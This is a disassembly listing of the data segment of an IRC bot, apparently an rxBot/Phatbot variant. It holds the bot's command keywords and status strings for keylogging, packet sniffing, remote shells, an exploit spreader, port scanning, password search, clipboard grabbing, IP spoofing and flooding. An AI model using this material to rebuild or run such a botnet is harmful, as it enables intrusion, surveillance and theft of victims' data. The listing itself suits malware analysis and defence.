db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42C50C db 2Dh ; - ; DATA XREF: seg000:004061A0o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42C52C db 2Dh ; - ; DATA XREF: seg000:loc_406113o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42C54C db 2Dh ; - ; DATA XREF: seg000:00406109o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: seg000:004060A0o
align 4
aContinue db 'continue',0 ; DATA XREF: seg000:00406066o
align 4
aPause db 'pause',0 ; DATA XREF: seg000:00406049o
align 4
aStop db 'stop',0 ; DATA XREF: seg000:0040602Fo
align 4
unk_42C594 db 2Dh ; - ; DATA XREF: seg000:loc_406022o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42C5B4 db 2Dh ; - ; DATA XREF: seg000:00406018o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: seg000:00405FC2o
align 10h
unk_42C5E0 db 2Dh ; - ; DATA XREF: seg000:00405F90o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: seg000:00405F6Co
dword_42C61C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405F3Do
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42C658 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405EE4o
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42C67C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405E65o
aAlreadyRunning db '- Already running.',0
align 4
dword_42C69C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:loc_405E4Fo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42C6C8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: seg000:00405E45o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: seg000:00405E06o
align 4
aKeylog db 'keylog',0 ; DATA XREF: seg000:00405DE4o
align 4
unk_42C714 db 2Dh ; - ; DATA XREF: seg000:loc_405DD9o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
align 8
unk_42C748 db 2Dh ; - ; DATA XREF: seg000:00405DCFo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42C788 db 2Dh ; - ; DATA XREF: seg000:00405D8Ao
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_16 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42C7C4 db 2Dh ; - ; DATA XREF: seg000:00405D31o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 4
unk_42C7F4 db 2Dh ; - ; DATA XREF: seg000:00405CCDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_0 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: seg000:00405C96o
dword_42C81C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:loc_405C8Bo
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42C848 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405C81o
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 4
dword_42C884 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405C3Co
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
align 10h
dword_42C8C0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405BE3o
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 10h
dword_42C8F0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: seg000:00405B7Fo
aAlreadyRunni_1 db '- Already running.',0
align 10h
aOn db 'on',0 ; DATA XREF: seg000:00405B5Fo
; seg000:00405CADo ...
align 4
aPsniff db 'psniff',0 ; DATA XREF: seg000:00405B48o
align 4
aRf db 'rf',0 ; DATA XREF: seg000:00405B33o
align 10h
aReadfile db 'readfile',0 ; DATA XREF: seg000:00405B1Eo
align 4
aCm db 'cm',0 ; DATA XREF: seg000:00405B09o
align 10h
aCmd db 'cmd',0 ; DATA XREF: seg000:00405AF4o
aMirc db 'mirc',0 ; DATA XREF: seg000:00405ADFo
align 4
aMirccmd db 'mirccmd',0 ; DATA XREF: seg000:00405ACAo
aV: ; DATA XREF: seg000:00405AB5o
; seg002:0043A8B4o ...
unicode 0, <v>,0
aVisit db 'visit',0 ; DATA XREF: seg000:00405AA0o
align 10h
aLi db 'li',0 ; DATA XREF: seg000:00405A8Bo
align 4
aList db 'list',0 ; DATA XREF: seg000:00405A76o
align 4
aGt db 'gt',0 ; DATA XREF: seg000:00405A61o
align 10h
aDel db 'del',0 ; DATA XREF: seg000:00405A37o
aDelete db 'delete',0 ; DATA XREF: seg000:00405A22o
; seg000:00406083o
align 4
aKi db 'ki',0 ; DATA XREF: seg000:00405A0Do
align 10h
aKill db 'kill',0 ; DATA XREF: seg000:004059F8o
align 4
aKp db 'kp',0 ; DATA XREF: seg000:004059E3o
align 4
aKillproc db 'killproc',0 ; DATA XREF: seg000:004059CEo
align 4
aDn db 'dn',0 ; DATA XREF: seg000:004059B9o
align 4
aDns db 'dns',0 ; DATA XREF: seg000:004059A4o
aS3rv3rfg2 db 's3rv3rfg2',0 ; DATA XREF: seg000:0040598Fo
align 4
aS3rv3rfg db 's3rv3rfg',0 ; DATA XREF: seg000:0040597Ao
align 4
aO: ; DATA XREF: seg000:00405965o
; seg002:0043ABE4o
unicode 0, <o>,0
aOpen db 'open',0 ; DATA XREF: seg000:00405950o
; seg000:00407380o ...
align 4
aPr db 'pr',0 ; DATA XREF: seg000:0040593Bo
align 4
aPrefix db 'prefix',0 ; DATA XREF: seg000:00405926o
align 10h
aC_rn db 'c_rn',0 ; DATA XREF: seg000:00405911o
align 4
aC_rndnick db 'c_rndnick',0 ; DATA XREF: seg000:004058FCo
align 4
aC_q db 'c_q',0 ; DATA XREF: seg000:004058E7o
aC_quit db 'c_quit',0 ; DATA XREF: seg000:004058D2o
align 10h
aK: ; DATA XREF: seg000:004058BDo
; seg002:0043A8A0o ...
unicode 0, <k>,0
aKillthread db 'killthread',0 ; DATA XREF: seg000:004058A8o
align 10h
aRaw db 'raw',0 ; DATA XREF: seg000:0040587Eo
aPt db 'pt',0 ; DATA XREF: seg000:00405869o
align 4
aJ: ; DATA XREF: seg000:0040583Fo
; seg002:0043A89Co ...
unicode 0, <j>,0
aN: ; DATA XREF: seg000:00405815o
; seg002:0043A8BCo ...
unicode 0, <n>,0
unk_42CA00 db 2Dh ; - ; DATA XREF: seg000:004057E1o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aDisconnectingC db '- disconnecting clones...',0
align 4
aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: seg000:0040577Do
aRegister db 'register',0 ; DATA XREF: seg000:00405754o
align 4
aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: seg000:004056FBo
align 4
aMix db 'mix',0 ; DATA XREF: seg000:00405631o
dword_42CA60 dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
; DATA XREF: seg000:004055DDo
; seg000:00405614o
dd 0
dword_42CA78 dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
; DATA XREF: seg000:004055A6o
dd 1
dword_42CA90 dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
; DATA XREF: seg000:0040556Fo
; seg000:00405683o
aCtcp db 'ctcp',0 ; DATA XREF: seg000:0040551Do
align 4
aNoticeSS_0 db 'NOTICE %s :%s',0 ; DATA XREF: seg000:00405488o
; seg000:004054C4o ...
align 4
aNotice_0 db 'notice',0 ; DATA XREF: seg000:00405431o
align 4
aMsg db 'msg',0 ; DATA XREF: seg000:00405345o
aChgnick db 'chgnick',0 ; DATA XREF: seg000:004052FFo
aNick_0 db 'nick',0 ; DATA XREF: seg000:00405202o
; seg000:00405800o
align 4
dword_42CAD8 dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
; DATA XREF: seg000:004051E5o
dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_42CB00 dd 636364h ; DATA XREF: seg000:00405168o
dword_42CB04 dd 6E696F6Ah, 7261702Fh, 74h ; DATA XREF: seg000:00405021o
dword_42CB10 dd 4B43494Eh, 732520h ; DATA XREF: seg000:00405004o
; seg000:0040525Co ...
dword_42CB18 dd 69257325h, 0 ; DATA XREF: seg000:00404FECo
; sub_40ABA1+4Eo ...
aPnick db 'pnick',0 ; DATA XREF: seg000:00404FACo
align 4
aPartSS db 'part %s %s',0 ; DATA XREF: seg000:00404F8Fo
; seg000:00405078o ...
align 4
aPartflood db 'partflood',0 ; DATA XREF: seg000:00404F68o
align 10h
aPartS db 'part %s',0 ; DATA XREF: seg000:00404F4Bo
aPart_0 db 'part',0 ; DATA XREF: seg000:00404F29o
; seg000:00405854o
align 10h
aJoinS db 'join %s',0 ; DATA XREF: seg000:00404F0Co
; seg000:0040504Fo ...
aJoin db 'join',0 ; DATA XREF: seg000:00404EEAo
; seg000:0040582Ao
align 10h
aModeSS db 'mode %s %s',0 ; DATA XREF: seg000:00404ECDo
align 4
aMode db 'mode',0 ; DATA XREF: seg000:00404E81o
; seg000:00406361o
align 4
aNoticeSS_1 db 'notice %s :%s',0 ; DATA XREF: seg000:00404E64o
align 4
aNt db 'nt',0 ; DATA XREF: seg000:00404E18o
align 4
dword_42CB88 dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
; DATA XREF: seg000:00404DFBo
dword_42CB9C dd 7463h ; DATA XREF: seg000:00404DAFo
dword_42CBA0 dd 76697270h, 2067736Dh, 3A207325h, 7325h ; DATA XREF: seg000:00404D92o
; seg000:0040539Co ...
dword_42CBB0 dd 5Fh ; DATA XREF: seg000:00404D66o
; seg000:00404DCFo ...
dword_42CBB4 dd 6D70h ; DATA XREF: seg000:00404D46o
; seg000:004062EEo
unk_42CBB8 db 2Dh ; - ; DATA XREF: seg000:00404D14o
db 3, 34h, 2
db 69h ; i
db 72h, 63h, 66h
db 75h ; u
db 63h, 6Bh, 2
db 3
aSClonesLoadedT db '- %s clones loaded to %s:%s',0
align 4
aLoad db 'load',0 ; DATA XREF: seg000:00404CC0o
align 4
aFlood db 'flood',0 ; DATA XREF: seg000:00404C97o
align 4
aRinms db 'rinms',0 ; DATA XREF: seg000:00404C80o
align 4
aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: seg000:00404C6Bo
aRin db 'rin',0 ; DATA XREF: seg000:00404C56o
aReconnect_in db 'reconnect.in',0 ; DATA XREF: seg000:00404C41o
align 10h
unk_42CC20 db 2Dh ; - ; DATA XREF: seg000:00404C21o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0
align 10h
unk_42CC60 db 2Dh ; - ; DATA XREF: seg000:00404BC5o
db 3, 34h, 2
db 65h ; e
db 78h, 70h, 6Ch
db 6Fh ; o
db 69h, 74h, 2
db 3
aAttemptingToCo db '- attempting to compromise %s...',0
align 10h
aExploit db 'exploit',0 ; DATA XREF: seg000:00404B48o
unk_42CC98 db 2Dh ; - ; DATA XREF: seg000:00404B2Ao
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0
align 4
unk_42CCC4 db 2Dh ; - ; DATA XREF: seg000:00404B00o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: seg000:00404AC8o
align 4
unk_42CD04 db 2Dh ; - ; DATA XREF: seg000:00404A6Fo
; seg000:00404AE0o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0
align 4
aGet db 'get',0 ; DATA XREF: seg000:loc_404A4Do
; seg000:00405A4Co
unk_42CD40 db 2Dh ; - ; DATA XREF: seg000:004049DBo
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aInvalidLoginSl db 'Invalid login slot number: %d.',0
align 4
unk_42CD6C db 2Dh ; - ; DATA XREF: seg000:004049D0o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aNoUserLoggedIn db 'No user logged in at slot: %d.',0
align 4
dword_42CD98 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: seg000:0040497Fo
unk_42CDA8 db 2Dh ; - ; DATA XREF: seg000:loc_404970o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
db 'from Hell?) who I love so much.',0
align 4
dword_42CE58 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: seg000:00404938o
aFailedToSta_18 db '- Failed to start secure thread, error: <%d>.',0
align 4
dword_42CE94 dd 234032Dh, 75636573h, 3026572h, 7325202Dh, 73797320h
; DATA XREF: seg000:004048D4o
dd 2E6D6574h, 0
aUnsecuring db 'Unsecuring',0 ; DATA XREF: seg000:004048CEo
align 4
aSecuring db 'Securing',0 ; DATA XREF: seg000:004048C7o
align 4
unk_42CEC8 db 2Dh ; - ; DATA XREF: seg000:0040483Bo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aFailedToSta_19 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42CF08 db 2Dh ; - ; DATA XREF: seg000:004047CDo
db 3, 34h, 2
db 62h ; b
db 69h, 6Eh, 64h
db 73h ; s
db 68h, 65h, 6Ch
db 6Ch ; l
db 2, 3, 2Dh
aServerStartedO db ' Server started on: %s:%d.',0
align 4
dword_42CF34 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:00404736o
aFailedToSta_20 db '- Failed to start server thread, error: <%d>.',0
align 10h
dword_42CF70 dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: seg000:004046DDo
; seg000:004113FCo
aServerStarte_0 db '- Server started on: %s:%d.',0
dword_42CF98 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: seg000:00404613o
dword_42CFA8 dd 646E6946h, 6C696620h, 65h ; DATA XREF: seg000:0040460Eo
dword_42CFB4 dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: seg000:004045FEo
dword_42CFC4 dd 636F7250h, 20737365h, 7473696Ch, 0 ; DATA XREF: seg000:004045F9o
dword_42CFD4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh
; DATA XREF: seg000:00404586o
dd 676E6974h, 2Eh
aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404579o
; seg000:loc_409680o ...
align 4
dword_42D008 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh
; DATA XREF: seg000:00404564o
dd 6E697463h, 2E67h
aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404557o
align 4
aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404540o
; seg000:004094ADo
align 4
aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:0040452Eo
align 4
unk_42D058 db 2Dh ; - ; DATA XREF: seg000:004044E2o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0
align 4
dword_42D084 dd 234032Dh, 6E69616Dh, 202D0302h, 20746F42h, 203A4449h
; DATA XREF: seg000:004044A4o
dd 2E7325h
unk_42D09C db 2Dh ; - ; DATA XREF: seg000:0040446Bo
db 3, 34h, 2
db 74h ; t
db 68h, 72h, 65h
db 61h ; a
db 64h, 73h, 2
db 3
aFailedToSta_21 db '- Failed to start list thread, error: <%d>.',0
align 4
dword_42D0D8 dd 234032Dh, 65726874h, 2736461h, 4C202D03h, 20747369h
; DATA XREF: seg000:00404412o
dd 65726874h, 2E736461h, 0
dword_42D0F8 dd 627573h ; DATA XREF: seg000:004043ECo
dword_42D0FC dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h
; DATA XREF: seg000:0040439Ao
dd 2E7473h
unk_42D114 db 2Dh ; - ; DATA XREF: seg000:0040436Ao
db 3, 34h, 2
db 6Ch ; l
db 6Fh, 67h, 2
db 3
aFailedToSta_22 db '- Failed to start listing thread, error: <%d>.',0
dword_42D14C dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
; DATA XREF: seg000:004042F3o
dd 2E676Fh
dword_42D164 dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh
; DATA XREF: seg000:0040426Co
dd 6F666E49h, 2Eh
dword_42D180 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h
; DATA XREF: seg000:0040423Do
dd 2E6F666Eh, 0
dword_42D19C dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h
; DATA XREF: seg000:004041E8o
dd 746F4220h, 2Eh
unk_42D1B8 db 2Dh ; - ; DATA XREF: seg000:004041B7o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aFailedToSta_23 db ' Failed to start listing thread, error: <%d>.',0
align 4
dword_42D1F4 dd 234032Dh, 636F7270h, 2D030273h, 6F725020h, 73656363h
; DATA XREF: seg000:00404158o
dd 696C2073h, 2E7473h
aFull db 'full',0 ; DATA XREF: seg000:00404138o
align 4
unk_42D218 db 2Dh ; - ; DATA XREF: seg000:004040D9o
db 3, 34h, 2
db 70h ; p
db 72h, 6Fh, 63h
db 73h ; s
db 2, 3, 2Dh
aAlreadyRunni_2 db ' Already running.',0
align 4
dword_42D238 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: seg000:004040ADo
aSearchComplete db '- Search completed.',0
dword_42D258 dd 234032Dh, 6E69616Dh, 202D0302h, 69747055h, 203A656Dh
; DATA XREF: seg000:0040405Eo
dd 2E7325h
unk_42D270 db 2Dh ; - ; DATA XREF: seg000:loc_403F94o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellRea db '- Remote shell ready.',0
align 10h
unk_42D290 db 2Dh ; - ; DATA XREF: seg000:00403F8Do
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0
align 4
unk_42D2B8 db 2Dh ; - ; DATA XREF: seg000:00403F71o
db 3, 34h, 2
db 63h ; c
db 6Dh, 64h, 2
db 3
aRemoteShellAlr db '- Remote shell already running.',0
align 4
dword_42D2E4 dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h
; DATA XREF: seg000:00403F5Bo
dd 72616F62h, 2E64h
dword_42D300 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h
; DATA XREF: seg000:00403F2Do
dd 2Dh
unk_42D318 db 2Dh ; - ; DATA XREF: seg000:loc_403F1Do
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushA db 'Failed to flush ARP cache.',0
align 4
unk_42D344 db 2Dh ; - ; DATA XREF: seg000:00403F16o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aArpCacheFlushe db 'ARP cache flushed.',0
align 4
unk_42D368 db 2Dh ; - ; DATA XREF: seg000:loc_403EECo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToLoadDn db 'Failed to load dnsapi.dll.',0
align 4
unk_42D394 db 2Dh ; - ; DATA XREF: seg000:loc_403EE5o
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aFailedToFlushD db 'Failed to flush DNS cache.',0
align 10h
unk_42D3C0 db 2Dh ; - ; DATA XREF: seg000:00403EDEo
db 3, 34h, 2
db 66h ; f
db 6Ch, 75h, 73h
db 68h ; h
db 64h, 6Eh, 73h
db 2
db 3, 2Dh, 20h
aDnsCacheFlushe db 'DNS cache flushed.',0
align 4
unk_42D3E4 db 2Dh ; - ; DATA XREF: seg000:00403E4Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToSta_24 db '- Failed to start server thread, error: <%d>.',0
align 10h
unk_42D420 db 2Dh ; - ; DATA XREF: seg000:00403DF2o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42D45C db 2Dh ; - ; DATA XREF: seg000:00403D14o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_25 db ' Failed to start server thread, error: <%d>.',0
align 4
unk_42D498 db 2Dh ; - ; DATA XREF: seg000:00403CBBo
; seg000:0040BD69o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42D4D4 db 2Dh ; - ; DATA XREF: seg000:00403B9Fo
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0
align 10h
unk_42D510 db 2Dh ; - ; DATA XREF: seg000:00403B46o
; seg000:0040BA00o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aServerStarte_1 db ' Server started on Port: %d, File: %s.',0
align 4
unk_42D544 db 2Dh ; - ; DATA XREF: seg000:00403A99o
db 3, 34h, 2
db 74h ; t
db 66h, 74h, 70h
db 64h ; d
db 2, 3, 2Dh
aAlreadyRunni_3 db ' Already running.',0
align 4
unk_42D564 db 2Dh ; - ; DATA XREF: seg000:loc_403A83o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_27 db '- Failed to start scan, port is invalid.',0
align 4
unk_42D59C db 2Dh ; - ; DATA XREF: seg000:00403A21o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aFailedToSta_28 db '- Failed to start scan thread, error: <%d>.',0
align 4
unk_42D5D8 db 2Dh ; - ; DATA XREF: seg000:004039C2o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
db ' minutes using %d threads.',0
align 4
aSequential db 'Sequential',0 ; DATA XREF: seg000:00403997o
; seg000:00407664o
align 10h
aRandom db 'Random',0 ; DATA XREF: seg000:00403990o
; seg000:0040765Do
align 4
unk_42D658 db 2Dh ; - ; DATA XREF: seg000:004037DDo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 61h ; a
db 2 dup(6Ch), 2
db 3
aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0
unk_42D698 db 2Dh ; - ; DATA XREF: seg000:0040376Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aFailedToSta_29 db 'Failed to start search thread, error: <%d>.',0
unk_42D6D4 db 2Dh ; - ; DATA XREF: seg000:004036EEo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 70h ; p
db 61h, 2 dup(73h)
db 2
db 3, 2Dh, 20h
aSearchingForPa db 'Searching for password.',0
aFp db 'fp',0 ; DATA XREF: seg000:004036C0o
align 10h
aFindpass db 'findpass',0 ; DATA XREF: seg000:004036AFo
align 4
aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: seg000:00403699o
align 10h
aPhonehome db 'phonehome',0 ; DATA XREF: seg000:00403682o
align 4
aSfdgdfgdfa db 'sfdgdfgdfa',0 ; DATA XREF: seg000:0040366Do
align 4
aFofofo2 db 'fofofo2',0 ; DATA XREF: seg000:00403658o
dword_42D750 dd 234032Dh, 6E69616Dh, 202D0302h, 73617243h, 676E6968h
; DATA XREF: seg000:00403608o
dd 746F6220h, 2Eh
aCrash db 'crash',0 ; DATA XREF: seg000:004035F2o
; seg000:00403642o
align 4
aTftp db 'tftp',0 ; DATA XREF: seg000:004035DDo
align 4
aTftpserver db 'tftpserver',0 ; DATA XREF: seg000:004035C8o
align 4
aHttp db 'http',0 ; DATA XREF: seg000:004035B3o
align 10h
aHttpserver db 'httpserver',0 ; DATA XREF: seg000:0040359Eo
align 4
aRlogin db 'rlogin',0 ; DATA XREF: seg000:00403589o
align 4
aRloginserver db 'rloginserver',0 ; DATA XREF: seg000:00403574o
align 4
aCip db 'cip',0 ; DATA XREF: seg000:0040355Fo
aCurrentip db 'currentip',0 ; DATA XREF: seg000:0040354Ao
align 4
aFdns db 'fdns',0 ; DATA XREF: seg000:00403535o
align 4
aFlushdns db 'flushdns',0 ; DATA XREF: seg000:00403520o
align 4
aFarp db 'farp',0 ; DATA XREF: seg000:0040350Bo
align 10h
aFlusharp db 'flusharp',0 ; DATA XREF: seg000:004034F6o
align 4
aGc db 'gc',0 ; DATA XREF: seg000:004034E1o
align 10h
aGetclip db 'getclip',0 ; DATA XREF: seg000:004034CCo
unk_42D7F8 db 2Dh ; - ; DATA XREF: seg000:0040348Eo
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 73h
db 70h ; p
db 2 dup(6Fh), 66h
db 29h ; )
db 2, 3, 2Dh
aSpoofingDisabl db ' Spoofing disabled.',0
aOff db 'off',0 ; DATA XREF: seg000:00403473o
; seg000:0040579Ao ...
aSpoof db 'spoof',0 ; DATA XREF: seg000:0040345Co
align 4
unk_42D82C db 2Dh ; - ; DATA XREF: seg000:0040343Co
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aLoginListCompl db 'Login list complete.',0
align 10h
aD_S db '%d. %s',0 ; DATA XREF: seg000:00403417o
align 4
aEmpty db '<Empty>',0 ; DATA XREF: seg000:loc_40340Ao
dword_42D860 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh
; DATA XREF: seg000:004033EAo
dword_42D874 dd 6F6877h ; DATA XREF: seg000:004033CDo
dword_42D878 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: seg000:004033C2o
dword_42D884 dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: seg000:004033BDo
aCmdstop db 'cmdstop',0 ; DATA XREF: seg000:004033A4o
aOcmd db 'ocmd',0 ; DATA XREF: seg000:0040338Fo
align 4
aOpencmd db 'opencmd',0 ; DATA XREF: seg000:0040337Ao
aDll db 'dll',0 ; DATA XREF: seg000:00403365o
aTestdlls db 'testdlls',0 ; DATA XREF: seg000:00403350o
align 4
aDrv db 'drv',0 ; DATA XREF: seg000:0040333Bo
aDriveinfo db 'driveinfo',0 ; DATA XREF: seg000:00403326o
align 4
aUp db 'up',0 ; DATA XREF: seg000:00403311o
align 10h
aUptime db 'uptime',0 ; DATA XREF: seg000:004032FCo
align 4
